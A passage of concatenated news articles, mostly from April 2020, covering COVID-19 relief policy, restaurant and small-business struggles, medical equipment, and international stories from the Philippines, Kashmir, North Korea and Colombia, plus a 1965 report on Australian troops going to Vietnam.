bank accounts or who don't have addresses or direct deposit information on record with the IRS, he said. "The challenge is the same, which is finding people and getting the money to them quickly," said Burman, who added that the IRS has done an "amazing job" with the time and resources available to it. A one-time follow-up payment might be easiest to agree on politically and may make the most sense now, said Garrett Watson, senior policy analyst at the Tax Foundation. "There might be a good reason from a political or economic perspective to establish a [universal basic income] in the long run," Watson said. "There's debates there to be had, but the question right now, in the short term, is how do we target the support to get folks most at risk?" In 2009, follow-up stimulus payments were targeted at lower-income individuals, Watson said, and a similar strategy could be used today. Payroll tax cuts While the CARES Act implemented temporary payroll tax cuts for employers, the idea of giving workers the same perk could come up again in the next round of legislation. The National Committee to Preserve Social Security and Medicare sent a letter this week to President Donald Trump and Treasury Secretary Steve Mnuchin urging them to reject the idea. Both workers and employers typically share the burden of payroll taxes, with each paying 6.2% toward Social Security and 1.45% toward Medicare. Taking away those levies could put undue pressure on Social Security's already weak trust funds, the advocacy group said. More from Personal Finance: May 5 is stimulus check deadline for veterans, SSI beneficiaries with kids Unemployed and eligible for Social Security? Here's what you need to know Why your Social Security cost-of-living adjustment could be lower in 2021 Metro Manila (CNN Philippines, April 28) Conflicting accounts and "prejudgment" of authorities prompted the Philippine Army to ask for a third-party probe on the controversial shooting incident that led to the death of retired soldier Winston Ragos, its commanding general said Tuesday. Lt Gen Gilbert Gapay told CNN Philippines that different testimonies and supposed mishandling of evidence by law enforcers on the scene may discredit current investigations being conducted. The Army has sought the National Bureau of Investigation's help for an independent probe on the case. "You see there (are) apparent lapses in the procedure... Handling of evidence should remain in the crime scene, but they (police) took it away," Gapay said in an interview with The Source. "And of course, the issue on the pistol," he also said. "Ito yung isang (this is one of the) conflicting accounts," "All of those... would take and would discredit some investigations being conducted, or the credibility," he added. "It shows, sort of, partiality already. What we're after here is an impartial investigation." Ragos was fatally shot by Police Master Sergeant Daniel Florendo in Quezon City last week, after the former allegedly attempted to pull a gun on the officers manning a nearby checkpoint in Barangay Pasong Putik. But witnesses at the scene claimed Ragos, who supposedly violated enhanced community quarantine protocols, did not have a gun inside his bag. The chief of the Philippine National Police, which has been conducting a separate probe into the incident, said Florendo only made a "judgment call" when he shot the Army veteran. Gapay said the accounts and statements of some officials may have already reflected "partiality" on the case. "Parang meron silang (it's like they had) prejudgment already even before the investigation starts," the Army chief said. "Anyone could sense the partiality, and there is already bias in the investigation." "To give credence and credibility to the ongoing investigation, we find it necessary for a third party to investigate like the NBI... Ang sa amin lang naman (what we're really after) is really for the truth to come out and for justice to be served," he added. The shooting incident sparked outrage online, more so after the revelation of Ragos' mother that her son was diagnosed with post-traumatic stress disorder after completing his tour of duty. The retired soldier's first assignment was with the 31st Infantry Battalion in Labo, Camarines Norte, where there were frequent encounters with communist rebels. He was reportedly given complete disability discharge in January 2017. Netizens and human rights advocates alike have denounced the incident, saying there's no excuse for killings and violence, especially towards "mentally-challenged" individuals. The Quezon City Police District earlier filed a homicide complaint against Florendo. The Armed Forces of the Philippines is also conducting it own investigation. RELATED: Killing of ex-soldier prompts Army review for better mental health care for troops Australian manufacturers are making 1000 emergency hospital beds a week to bolster state stockpiles and send to neighbouring countries in the fight against coronavirus. The Emergency Relief Bed project is part of the federal government's strategy to boost the country's health response in the hope of easing economic restrictions. Australian manufacturers are making 1,000 hospital beds a week to send around the country and overseas. Credit:Louise Kennerley The project is being headed up by US-based medical supply company Stryker, through its Australian operations. The beds are similar to ones set-up in makeshift hospitals in New York's Central Park. Mattress manufacturer A.H Beard, wheel-maker Fallshaw Wheels & Castors, vehicle-specialists AmTek Australia, and Varley Group have all signed up to get production moving. KYODO NEWS - Apr 28, 2020 - 13:44 | All, Coronavirus, World, Japan A creative solution to protect health care providers at high risk of contracting the novel coronavirus amid a global shortage of personal protective equipment is attracting interest throughout the world, including in Japan. The Aerosol Box, created and shared online by Lai Hsien-yung, an anesthesiologist from Taiwan, is a transparent box shielding a provider's face from aerosol particles contaminated by the virus while intubating an infected patient, many of whom develop respiratory failure. "I felt that I was protected," said Takahiro Kusume, 32, a doctor on the frontlines of an anti-coronavirus team at a university hospital in Tokyo. In April, he requested his brother, who owns a design studio in Kobe in the western prefecture of Hyogo to make the product based on the design shared online by Lai. "I feel safe even when my face has to come close to a patient during my work," said a male doctor in his 50s at a medical facility in Osaka who is developing measures to prevent infections among staff and patients at the institution. "We bought two of them to prepare for an increase in the number of patients," he added. The Aerosol Box is a transparent box-like structure that can be cheaply made using acrylic or transparent polycarbonate sheet, according to the website, which gives design specifications. It covers the head of the patient lying on the bed, with the healthcare provider sticking his or her arms in two holes on one side of the box. The box "effectively shields a provider's face from a patient's airway, while allowing the provider to move his/her arms freely to perform all necessary tasks during endotracheal intubation," the website explains, adding that the box can be cleaned thoroughly with a solution of 70 percent alcohol or bleach to be reused for the next patient. Lai, 52, who works at the Mennonite Christian Hospital in Hualien, eastern Taiwan, told Kyodo News that he was inspired by baby incubator apparatus. As hospitals, overwhelmed by the rising numbers of coronavirus patients, are running out of N95 masks and other protective equipment, Lai didn't submit a patent application, preferring to put it online at the end of March so as to deploy it rapidly across the globe. "I made this box to protect the doctors who are fighting on the frontline," Lai explained. He said he hoped "people (all) over the world can build and modify (them) by themselves." Medical teams from countries that have been hit hard by the virus, including the United States and Spain, have tested and reported their experiences with the simple contraption as they adapt it in the field. One adaptation is an Aerosol Box that can be folded and shipped easily to be reassembled in a minute at its destination. A Japanese acrylic company in Osaka, Act, has received orders for the Aerosol Box since mid-March, producing around 40 per day. The company says it takes around 30 minutes to produce one, with a wholesale price of less than 10,000 yen ($93). "We can make the product on the day we receive the order," said Tetsuo Taniguchi, the 70-year-old president of the company, whose around 10 employees also make countertop shields to protect against infectious droplets in face-to-face meetings. When Kim Harris and her partners opened the craft beer bar and pub Harlem Hops in New York in 2018, it was a long-fermenting vision brought to life after years of raising capital, sourcing products and executing a savvy business plan. But then COVID-19 happened. The pandemic is disproportionately affecting African American and communities of color in terms of infection and mortality rates, and that is throwing Harris and many other black business owners into an economic crisis that threatens to eliminate all of their hard-won gains. Its like I stood in line for, like, mad hours to get into this party and now Im in it, and youre telling me the cops are shutting it down, Harris said. Its like they yelled, Last call! Harris and her partners, all graduates of a historically black college or university, applied for funding in the Coronavirus Aid Relief and Economic Security (CARES) Act, the $2.1 trillion bill that among other things is designed to prop up small businesses and save jobs. We applied for everything, Harris told NBC News, referring to the Payroll Protection Program and Small Business Administration loans. And were denied for everything. As another round of federal funding, $484 billion, is set to come on line, some experts and small-business owners, are alarmed it may already be too late. On a recent New York Urban League conference call, J. Philip Thompson, the deputy mayor for strategic policy initiatives, said, Most small businesses and especially black-owned businesses have, in a good economy, no more than two weeks of liquidity that they can rely on to keep them afloat. That is absolutely correct, said Nikoa Evans-Hendricks, executive director of Harlem Park to Park, a business and cultural consortium of over 250 small business owners, adding that many black entrepreneurs often start out undercapitalized. Lets say they do re-fund the stimulus package. You look at the way its structured now, which is a real issue for certain types of businesses, like restaurants, retail, etc. the loan forgiveness is really tied to how you pay your staff, right? she added. Story continues If you use the money for your payroll, the loan is forgiven. What if a business has one employee or no employees? Which a lot of small businesses operating at capacity, black-owned businesses, they dont have employees, so then you cant get the loan forgiven so now you go into debt, Evans-Hendricks said. Its a mounting financial hole, which at some point you cant dig yourself out of. There is also rising anxiety that the new funding, even though some of it is earmarked for women and minority-owned businesses, will not reach African American-owned businesses, 95 percent of which are sole proprietorships or partnerships that have no employees. This new funding thats saying women and minorities, those two nuances almost always tend to leave out black people, or put black people at the very end of the line because of how minorities can be defined; it can be anyone whos not white, said Valerie Wilson, a public relations specialist, entrepreneur and small business owner. So, Asian businesses that are bigger, Hispanic businesses that are bigger, some other immigrant groups fall into that category and then of course white women-owned businesses, which are also bigger, also fall into that category before it trickles down to black-owned businesses, Wilson said. Alfred A. Edmond Jr., editor at large for Black Enterprise, echoes Thompson and Evans-Hendricks, but says that the situation, on its face, is even more dire. It goes deeper than that, he said, adding that even if the Payroll Protection Program is re-funded and funded adequately, nobody knows what adequate means right now because no one knows how much money we will have to spend to keep small businesses afloat. Many small black-owned businesses could disappear, changing the social and business landscape in cities like New York, Detroit, Philadelphia, Atlanta and Washington, D.C., where the venerable Bens Chili Bowl is under threat of closing and awaiting recovery money. 24 Hours in District of Columbia during Coronavirus Pandemic (Bonnie Jo Mount / The Washington Post via Getty Images) In my opinion, added Edmond, most of them will temporarily shut down, and then the question becomes how long will this last and will they be able to rebound or restart their businesses. Harris and her partners are prepared to jump-start their business. But they havent been idle, waiting to be rescued. It didnt pose a challenge for us to set up a model to do items or products to go, she said. We already had a canning system to can the beer we have on draft, and its something we invested in about nine months ago. It was always an option for our regular clientele. Most of her staff has been retained, even though their hours have been reduced. Harlem Hops has also been feeding housekeeping staff at nearby Mt. Sinai Morningside Hospital. Despite the uncertainty, Harris still strikes an optimistic tone. We as a people are not built to sit down and be crying woe is me. No, we have to pick up our pieces and figure out what the next step is, she said. We know how to pivot. Were always in survival mode. We just have to be strong. Bogota (AFP) - Prosecutors in Colombia are investigating Bogota mayor Claudia Lopez for allegedly breaching the country's strict quarantine rules against the spread of the coronavirus. The state prosecutor's office said it was investigating Lopez after a video circulated on social media at the weekend showing the mayor shopping at a supermarket with her wife, a senator. The leftist mayor is married to member of the country's senate, Angelica Lozano. Strict lockdown rules permit only one person per family to leave home for essential purposes. Lozano apologized on Twitter and said she would present herself at a police station to pay a fine. Lopez followed suit, saying she acknowledged "with humility the infraction of going to the supermarket with Angelica. I offer apologies to the citizens and I abide by the summons." "My responsibility is to set a better example. My priority is to take care of lives," she said. The mayor appeared to suggest that her criticisms of the conservative President Ivan Duque over his handling of the pandemic measures played a part in the incident. "Disputes with the president should not be settled by the Prosecutor's Office," she wrote. On Lopez's orders Bogota, the main focus of COVID-19 in Colombia, began to apply quarantine measures on March 20, five days before Duque imposed the measure on the rest of the country. Colombia has so far registered more than 5,400 infections and 244 deaths. Vaishali Vijaykumar By Express News Service CHENNAI: Imagine a mini version of yourself being transported into a dollhouse. Crocheted rugs, sewed curtains, miniature figurines, quirky exhibits...everything in onetwelfth the size of the objects in the real world. It might feel like entering a different universe. Thats exactly how Subbulakshmi Muthuraman feels every time she spends time with her dollhouse set-up at her home in RA Puram. Its an escape from real-world problems. The characters come to life for me when I interact with them. Its a space of imagination, creativity and emotion. Having to build a dollhouse is similar to designing your dream home. Craftsmanship plays a crucial role in capturing the intricacies that add to the aesthetics of your interior design. Its an expensive concept and I dont know many who have dollhouses in this country, says Subbulakshmi, a self-taught miniaturist who displays and sells her miniature items on her Instagram page, Miniature Love, started in 2019. It was a friend who introduced her to the concept of miniatures a few years ago. An avid traveller, Subbulakshmi observed the trend picking up in foreign countries such as the UK, the US and Europe. Reutters, a German brand, is known for its miniature figurines. You can find many in porcelain, ceramic, wood, glass, and many more materials. I was particularly attracted to a Victorian model dollhouse and took a snap of it. Local carpenters refused to make one because of its complicated pattern. I finally got it done from a carpenter in Indonesia, she shares. Subbulakshmis wooden dollhouse has four levels and nine cabinets. I collected the dolls and then gave the measurements for the dollhouse. You need to know the size of your dolls and then give measurements for the dimensions height and width of the cabinets. The wallpaper and furniture for each room differ. It needs to be cut and pasted meticulously. The drawing room has a chandelier, an extravagant sofa and a gallery. The kitchen has crockery, pantry items and a dining table. The restroom has a bathtub and a self-care kit. I spend two hours a day dusting and rearranging them, shares the miniaturist, whose friends visit often just to see the dollhouse. One day, while setting up the house, she realised that all the figurines were sourced from foreign countries. When she was scouting for Indian miniaturists, she fell for the art and decided to create bitesized versions of dolls, all by herself. After attending workshops in 2019, shes been specialising in miniature food made out of polymer clay. I wanted something Indian in my dollhouse. Now, I have plenty. I make magnets, key chains and also conduct classes. This art requires precision and patience. I wanted to teach whatever I learnt to others. This labour- intensive art gives you an opportunity to work from home and make money. A few miniaturists have been helping out others and sharing techniques on social media too. I want to do my bit by creating affordable miniature, says Subbulakshmi. She ships her products across India. For details, visit Instagram page: Miniature Love This is not to be regarded as something that has suddenly arisen from more recent events, he said. Controversy Expected The decision is expected to provoke a major political controversy. The Leader of the Opposition (Mr. Calwell) and the Deputy Leader (Mr. Whitlam) were both absent from Canberra when the Prime Minister made his statement to the House last night. Mr. Calwell tried, but failed, to find out throughout yesterday whether Sir Robert Menzies intended to make a statement, following unofficial reports that a decision had been made. Australian troops and vehicles disembark in Vietnam. Credit:Stuart MacGladrie Late yesterday, Mr. Calwell decided to go ahead with a planned visit to Sydney for a political meeting. He left a brief statement to be issued if the Prime Minister spoke. The statement said the Parliamentary Labor Party would meet on Tuesday to consider the Governments decision. It added: I insist that a debate begin immediately after question-time on Tuesday. Australia already has 100 military advisers and a squadron of R.A.A.F. Caribou transport aircraft in South Vietnam. The 1st Battalion R.A.R. comprises more than 800 fully-trained troops. Support and supply personnel are expected to take the battalion strength close to 1000 for the move to Vietnam. A number of its officers and N.C.Os are veterans of World War II, the Korean War and the Malayan emergency. The battalion is commanded by Lieutenant Colonel I. R. W. Brumfield from Paddington, N.S.W., who was commissioned in 1947 and has served in Korea and Malaya. Particular Consequence Sir Robert said: The House in recent weeks has conducted an important debate on foreign affairs in which the situation in Vietnam was fully and anxiously discussed, My colleague, the Minister for External Affairs, devoted a large part of his statement to Vietnam, explaining developments there and the critical significance of those developments for South and South-East Asia as a whole. Loading Nor, of course, do the implications end with South and South-East Asia. Whether an externally directed Communist guerilla subversion is to succeed or fail has world-wide consequence. It has particular consequence for Australia. In the first half of 1962, the Government decided, following upon a request from the Government of South Vietnam, that Australia should contribute militarily to the defence of South Vietnam. We sent at that time a group of some 30 military instructors to provide military training assistance. Since then additional military aid has been provided, The strength of the Army training team was, in the first place, double, and later still, increased to 100. A flight of six Caribou transport aircraft has been provided. We have progressively increased our programme of economic aid to South Vietnam so that it now runs at the rate of about 1 million a year. A devoted body of Australian experts is at work in different parts of South Vietnam. In addition to Australia and the United States, some 30 other countries are providing assistance or have undertaken to do so in the military and non-military aid fields. This includes assistance from a significant and important group of Asian countries, including the Philippines, Malaysia, Japan, Thailand, and the Republic of Korea, who are contributing either economic or military aid. The Australian Government is now in receipt of a request from the Government of South Vietnam for further military assistance. We have decided and this has been after close consultation with the Government of the United States to provide an infantry battalion for service in South Vietnam. We decided in principle some weeks ago that we would be willing to do this if we had the necessary request from the Government of South Vietnam and the necessary collaboration from the United States. This is not to be regarded as something that has suddenly arise from more recent events. Loading There can be no doubt of the gravity of the situation in South Vietnam. There is ample evidence to show that with the support of the North Vietnamese regime and other Communist powers, the Viet Cong has been preparing on a more substantial scale than hitherto insurgency action designed to destroy South Vietnamese Government control, and to disrupt by violence the life of the local people whatever you say about the Government, the local people matter. The rate of infiltration of guerillas from North Vietnam has been increasing and last year rose to some 10,000. The infiltration of a battalion of the regular North Vietnamese Army has recently been confirmed. We have not, of course, come to this decision without the closest attention to the question of defence priorities. We do not and must not overlook the point that our alliances, as well providing guarantees and assurances for our security, make demands of us. We have commitments to Malaysia which we are meeting. We have to bear in mind, and make preparations against, the possibility of other developments in the region which could make demands on our defence capacity. Assessing all this, it is our judgment that the decision to commit a battalion in South Vietnam represents the most useful additional contribution which we can make to the defence of the region at this time. The takeover of South Vietnam would be a direct military threat to Australia and all the countries of South and South-East Asia. It must be seen as part of a thrust by Communist China between the Indian and Pacific oceans. The task of holding the situation in South Vietnam and restraining the North Vietnamese is formidable. But we are conscious of the magnitude of the effort being made by the Government and people of South Vietnam in their own defence. In recent months the United States has taken historic decisions to extend further military assistance to South Vietnam. South Korea has also committed substantial forces. Loading We have noted and welcomed the attempts to open the way to agreement which have been made, so far unsuccessfully, by President Johnson and by the Prime Minister of Britain, through his representative, Mr. Gordon Walker. We also welcome President Johnsons proposals for a wide-ranging economic programme. We will certainly continue to play our part in the economic development of the region. I make it clear that the Government has no desire to have Australian forces in Vietnam any longer than necessary to ensure the security of South Vietnam that is practically in terms of what President Johnson said quite recently about the presence of American forces. The cases were also reported to have features of toxic shock syndrome or Kawasaki disease, a rare blood vessel disorder. Only some of the children tested positive for COVID-19, so scientists are unsure if these rare symptoms are caused by the new coronavirus or by something else. Health officials estimate there have been about 10-20 such cases in Britain and NHS England said it is urgently investigating the reports. Seven Suspected 'Terrorists' Killed as Second Gunfight Breaks Out Within 24 Hours in Kashmir Sputnik News 06:02 GMT 27.04.2020 New Delhi (Sputnik): On Sunday evening, four alleged terrorists were killed by the security forces in an encounter which broke out in Jammu and Kashmir's Kulgam district. According to the officials, this is the fourth encounter in the area in a span of one week. Three suspected terrorists have been killed while two are believed to be pinned down after an encounter broke out between alleged militants and security forces in Jammu and Kashmir's Kulgam district on Monday morning. This is the second major encounter to have erupted between security forces and alleged terrorists since Sunday evening in which a total seven suspected terrorists were neutralised. According to the police, the gunfight occurred during their cordon and search operations (CASO) in the Lower Munda area of Qazigund in Kulgam district, which is around 70 kilometres away from Jammu and Kashmir's Summer capital Srinagar. "Firing from both ends is underway. No reports of any injury to security forces personnel yet," said a senior police official. Director General of India's Central Reserve Police Force (CRPF) AP Maheshwari has recently claimed that a decline in terror activity has been observed during the coronavirus lockdown. "There are several pockets were the terrorists have taken shelter. We are continuously carrying out cordon and search operations to arrest them," Maheshwari had said. In 2020, at least 76 terrorists have been killed in over 40 terror-related incidents in the valley, according to the official data of Jammu and Kashmir police. Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address The country is now in its second phase of the lockdown, till May 3. India's tally of positive cases has crossed the 29,000-mark while globally there are now over 3 million cases. As India's toll rises above 900, states have ramped up testing. Maharashtra remains the worst affected, followed by Rajasthan, Gujarat and Delhi. Health workers struggle as cases swell. With each death, it becomes even harder for the deceased and their families to find a place to bury them as fears of virus spreading through the dead are rampant. The poor still scramble for essential supplies even as more restrictions are lifted. Here's how the country fared the lockdown, in pictures. BEIJING (Reuters) - A North Korean economic delegation is due to arrive in Beijing this week to discuss food supplies and trade issues as the coronavirus pandemic has severely disrupted the country's food supply, two people with direct knowledge of the situation told Reuters. The delegation is headed to the Chinese capital amid conflicting reports about the health of North Korean leader Kim Jong Un. The people, who declined to be identified given the sensitivity of the matter, said the visit to Beijing is unrelated to Kim's health status. North Korean officials were already scheduled to meet with officials from China's Ministry of Commerce to discuss trade and bolstering food imports before questions arose about Kims health, the people said. Beijing and Pyongyang have discussed the resumption of cross-border trade in recent weeks, they said. Early this year, Kim imposed strict restrictions on nearly all transportation across its borders with China and Russia, severely limiting trade and travel, which the sources said have caused food and consumer goods shortages in a country with already-limited supplies. China, meanwhile, has barred entry of non-Chinese into the country as it scrambles to head off a resurgence of the coronavirus epidemic. China's foreign and commerce ministries, as well as the Chinese Communist Party's International Liaison Department, which handles relations with Pyongyang, did not respond to requests for comment. North Korea's embassy in Beijing did not respond to a fax and its phones went unanswered on Tuesday. Beijing has been reluctant to ease border controls as it is still imposing tight containment measures at home to tackle the pandemic, according to the people. However, South Korea's Yonhap News Agency reported on Tuesday that a source at the China-North Korea border said they had seen at least one freight train a day since April 22 cross from Dandong in China into Sinuiju on the North Korean side. Story continues China plans to send emergency items such as rice, soybeans, vegetables, instant noodles and medical supplies as aid to Pyongyang, one of the people with knowledge of the matter said. Further details, including the value of the aid, were not immediately available. ALLY AND LIFELINE China is the chief ally and economic lifeline for North Korea, which has been hard-hit by U.N. sanctions over its nuclear weapons programme. Beijing has a keen interest in the stability of the country with which it shares a long, porous border. Impoverished and isolated North Korea is prone to food shortages. As many as 1.1 million people died during the famines of the 1990s, according to South Korean estimates. Last week, two Seoul-based news outlets specialising in North Korea reported "panic buying" of some items in Pyongyang. NK News cited multiple sources who said that the buying spree seemed to be focused on imported products, while Daily NK reported that the panic buying and price increases followed a government notice that imports of "unimportant" items would be limited. State media outlets in isolated North Korea have not reported any panic buying. The Food and Agriculture Organization of the United Nations said in February that in North Korea the virus could "add increasing pressure to the complex situation due to quarantine measures set up to control the disease". North Korea has said it has no confirmed cases of the new coronavirus, but some international experts have cast doubt on that claim given the country's secrecy, cross-border trade with neighbouring China, where the outbreak began, and a poor health care system. On April 23, the World Health Organization said that Pyongyang had told it there had been no positive cases among 740 people tested, the Voice of America reported. The repercussions of the coronavirus outbreak come at what a number of foreign observers view as an unsettled moment for North Korea. Kim, believed to be 36, was conspicuously absent from April 15 birthday celebrations for his grandfather and state founder Kim Il Sung, and has not been seen since an April 11 politburo meeting, fuelling speculation in the international community about his condition. Last week, China sent a team that included health-care experts to North Korea to advise on Kim, Reuters reported. The Chinese delegation was led by a senior member of the Chinese Communist Party's International Liaison Department. A spokesman for China's foreign ministry, asked on Monday about Kim and reports of a Chinese delegation being sent to North Korea, told a regular media briefing that he had no information to offer on the matter. North Korea is one of the world's most secretive countries, and the health of its leaders is treated as a matter of state security. (Reporting by Beijing newsroom; additional reporting by Josh Smith in Seoul; Editing by Nick Tattersall) By Hallie Bradley Though the daily new cases of COVID-19 in Korea are decreasing, the government continues to warn citizens against going outside unnecessarily. But what is or isn't necessary depends on several factors, and languages understood and spoken is one of them. One of the biggest difficulties foreigners in Korea have faced as they try not to go outside is using websites and apps that are only available in Korean. Phillip Ochola Mak'Anyengo is the CEO of Wonderful, formerly Ask Ajumma, a bilingual personal assistant service that assists foreigners in Korea with everything from booking travel to getting concert tickets and chicken delivered for dinner. Though the company can do all of that, he said, "Lately, we have more clients asking for help with grocery purchases, courier services and food delivery. Many Korean websites and apps are still hard for foreigners to navigate." Zach Marble, COO and founder of Shuttle, a food delivery service, agrees. "We've seen an uptick in orders because people aren't dining out at the restaurants," he said. "They are opting for delivery instead." There are a handful of English-speaker-friendly options here in Korea that are helping foreign residents and visitors get food to their door so they don't have to leave their homes. As more families have been practicing social distancing and seek to be out of the home as little as possible, some companies have stepped up to help the English-speaking minority. Slowbox Slowbox is a service that delivers locally sourced non-GMO organic produce including vegetables, fruits, tofu and eggs from local organic farmers around Korea to people throughout the country. Slowbox provides a small or large box of seasonal and eco-friendly agricultural products and does it while minimizing the environmental damage in the process from production to distribution. The company uses sustainable delivery methods and packaging and focuses on a holistic ecosystem to bring healthy food to customers each week. During this time, it's especially important to keep bodies healthy and in fighting order, and Slowbox has maintained its weekly delivery service throughout the COVID-19 outbreak here in Korea. Visit to learn more about their services. Wonderful This service assists foreigners with a wide range of things but among them is getting groceries delivered and ordering food from restaurants for delivery. "I think most clients find it hard to purchase on many Korean websites," Mak'Anyengo explained. "Problems with complicated payment systems to coordinating with delivery people who do not speak English make it hard for a foreigner who might not know Korean well." The service works on a time basis so patrons only pay for the time it takes for a task to be completed. Give them a list of groceries and they'll handle the rest or get them an address and they can find the nearest restaurant that can deliver a burger. Wonderful is also offering a 15 percent discount to anyone signing up to their service for the first time using the code WONDERFUL680. Visit gowonderfully.com to find out more. Sprout Seoul Sprout Seoul is a natural healthy whole food service that conveniently ships delicious healthy meals free of over-processed ingredients, chemicals and additives right to customers' doors. The service provides a complete menu of home-cooked style meals including hot dishes, salad bowls, snacks, desserts and breakfasts that can be shipped around the country. This meal plan makes it easy to prepare for the week ahead. Founded in 2015 by a registered holistic nutritionist, this meal plan service has years of service to the foreign community under its belt and has continued to serve throughout the outbreak so that people can eat better, feel better and have less stress each week. Visit sproutseoul.com to find out more. Shuttle Shuttle is the biggest food delivery platform that caters to the foreign community in Seoul. They serve customers in Yongsan-gu, Gangnam-gu, Seocho-gu, Seodaemun-gu, Mapo-gu, Jongno-gu and Jung-gu in Seoul as well as Haeundae-gu and Suyeong-gu in Busan and Osan Air Base and Camp Humphreys in Pyeongtaek. Shuttle has also adapted its services because of COVID-19. Marble explained, "We no longer accept payments at the door all transactions are prepaid only. All of our drivers must wear masks and wash their hands with sanitizer after leaving the?restaurants and after delivering to customers. Sometimes customers request no contact at the door so we leave the food outside their door to practice social distancing." Use their services via or the Shuttle app. Hallie Bradley is a writer based in Seoul and runs the popular site? thesoulofseoul.net Foreign Minister Sameh Shoukry said Tuesday that the Egyptian government has worked to assure the safety of immigrants and refugees living in the country against any direct impacts of the novel coronavirus. The government has not taken any measures to return the migrants to their countries, he said adding that it continued offering them subsidies and healthcare coverage. The foreign minister made the remarks during a round-table discussion organized by Kemet Boutros Ghali Foundation for Peace and Knowledge via video conference to tackle the repercussions of the COVID-19 crisis on the immigration issue and its expected impacts on the migrants, asylum-seekers and displaced persons. Shoukry said that Egypt has always been a destination and transit country for refugees and asylum seekers, adding that there are about 5 million refugees and asylum seekers in it, according to Spokesman for the Foreign Ministry Ahmed Hafez He also asserted that the ongoing cooperation with the relevant UN bodies ensures that essential services and healthcare will be continuously offered for refugees in Egypt and helps improve the efficiency of the countrys health system, Hafez said. Search Keywords: Short link: Tom Colicchio has been one of the most outspoken advocates for the hospitality industry. Photo: John Lamparski/Getty Images For better or worse, prematurely or maturely, conversations around COVID have recently tilted toward reopening. When? How? Who? (With 1.4 million people unemployed in New York State, the Why? is obvious.) But for the 321,000 chefs, restaurateurs, and restaurant workers, many of whom have been out of work since mid-March, everything is still cloudy as hell. The future is obfusc. We all have to eat, but no one knows how, when, or even if well do so in restaurants again. A survey of a handful of the citys most successful restaurateurs finds them in different states of suspended animation, with their hopes for an unknowable future in varying shades of gray as they hold two very different challenges in hand: (1) how to survive the way things are, and (2) how to prophesy the way things might be. Some operators, like Simon Kim of the starred-up steakhouse Cote, quickly adapted to a takeout model. Others, like Jon Neidich of the buzzy brasserie Le Crocodile and several other high-profile projects, are limping along with an atrophied flow of hotel guests and hospital workers. And many, like Daniela Soto-Innes of Cosme and Atla, or Tom Colicchio of Craft, have closed completely. What they all have in common is that they eye the future with apprehension. Right now, everyones wondering, if and when restaurants do reopen, will anyone show up? But on some level, we already know the answer: With social distancing still a part of our collective consciousness, and a cure for COVID-19 a distant dream, most people will not show up. It doesnt matter if de Blasio says we can open, says Colicchio, who is sheltering in place on the North Fork. Is he going to tell people they must come in and spend their money? And thats just patrons. What about the employees? Kim wonders, How many of my workers will want to come back? For many of them, the $600 a week in unemployment is more than they could make with us. Pretty much all restaurateurs are resigned to the fact that when restaurants do open, theyll do so under the weight of the 50 percent capacity rule that immediately preceded their closure. To some, that makes reopening a nonstarter. Fifty percent capacity is just not feasible, says Neidich. The dining business is based on getting as many people into a room as possible. Theres no way around that. For Neidich, and, truthfully, for most restaurateurs, even short- to mid-term viability rests on what accommodations might be made with the landlord. If the property owners dont get a helping hand, which will allow them to give us a break, theres no way we will be able to continue, he told me. According to Kim, There are going to be a lot of uncomfortable conversations with landlords. (As Dylan sang, Dear landlord / Please heed these words that I speak / I know youve suffered much / But in this you are not so unique.) Perhaps the only shred of hope, absent any kind of governmental help, is that they realize both sides of the market equation have cratered. Its not like there is a long line of restaurants ready and eager to move in if we fail, Kim points out. During this purgatory, its hard to know how to even separate tactical questions rent, occupancy from existential ones. When I spoke to Soto-Innes, she wondered whether her brand of hospitality can even function in a world now defined by distance: To be able to work in a place you love so much and seeing it completely change, it changes you, she says. On some level, hospitality requires love, yet love means contact, and there is danger in contact. Social distancing is not a thing we do for a living, Soto-Innes says. Its a completely different system. As it is, Cosme is scheduled to reopen for takeout and delivery on May 1. But, she says, its different now that someone cant hop in their car and drive in from Jersey. More saliently, Who knows how many of those people who were coming in, or who could order delivery, have jobs anymore? As for Colicchio, he spends his mornings on phone calls with folks at the Independent Restaurant Coalition and Food Chain Workers Alliance, advocating for better governmental relief for restaurants. The Paycheck Protection Program, he says, just doesnt work for restaurants. Its a waste of time. For instance, he explains, Ive got money from the government in my bank account right now that is next to worthless. Thats because the forgiveness of PPP loans is predicated on retaining employees on payroll, and that ship has long sailed for the vast majority of restaurateurs. Whats worse is that loan forgiveness is pegged to two months from the date of origin of the loan, which means those loans will ripen for collection June, for most when most restaurateurs still wont have the income they need. Now, Colicchio says, if we change the date of origins to when I open, and I have, say, four months of protection once I open the doors, that makes sense. But, Colicchio points out, little about the governmental response thus far has made sense. People dont know how bleak it really is, he concedes. A lot of restaurants are not going to come back. In some ways, as Colicchio sees it, the restaurant industry was already fatally injured but, like a wounded buffalo, nonetheless limping along. The restaurant market in New York was oversaturated. Its been the case for a while, the chef says. Onerous labor laws and increased minimum wage, paired with the publics unwillingness to pay more, had formed an inexorable pincer, with restaurateurs caught in between. People want us to buy better food from local sources and pay higher wages and pay more insurance, Colicchio continues, All these things are great, but they have to come from somewhere. Do you have any idea how slim our profit margins are? The only thing I can do is raise prices, but I cant. Thats the definition of stagflation. A recent survey by the James Beard Foundation found that approximately one in five restaurants will come out the other side of the pandemic. Colicchio predicts its way more than that. But at least when they do open their doors, it will be into a world that recognizes what a dangerous game, and what a tenuous position, theyre in and perhaps that might be worth paying for. Maybe, Colicchio says, theyll realize just how fragile this industry actually is. This post has been corrected; it originally misidentified one of the organizations with which Colicchio has been coordinating. NovaDines feature enables restaurants to adapt rapidly to COVID-19 pandemic Raleigh, NC, April 28, 2020 (GLOBE NEWSWIRE) -- Locally-owned NovaDine, a provider of the digital ordering solutions for multi-unit restaurant chains, is partnering with Frischs Big Boy to offer fresh grocery items on its menu. Due to the COVID-19 Crisis, restaurants are forced to develop unique solutions for their customers. Beginning March 19th, Frischs Big Boy became the first restaurant group in America to sell grocery items in addition to their normal fare. Frischs relationship with NovaDine and its innovative capabilities provided an opportunity to quickly add grocery items to Frischs point-of-sale system and on-line menu. Big Boys Market as the grocery menu is called offers milk, produce, and other essentials in their locations across Ohio, Kentucky, and Indiana. Frischs Big Boy dining rooms, along with all restaurants nationwide, remain closed due to government orders surrounding COVID-19. However, Frischs recognized the need for staple items in their communities and for their customers including prepackaged foods as well as non-food products. The company acted quickly, securing a supply chain so they could satisfy this customer need through their on-line carryout, drive-thru, and delivery order options. We saw this as a service, says Jason Vaughn, president, and CEO of Frischs Big Boy, We saw it as a way to serve people that have supported us over the years and just kind of a way to be there for them. Big Boys Market items are available through Frischs.com in the form of carryout, drive-thru, or delivery. They can be ordered in Frischs market areas along with favorites like the Big 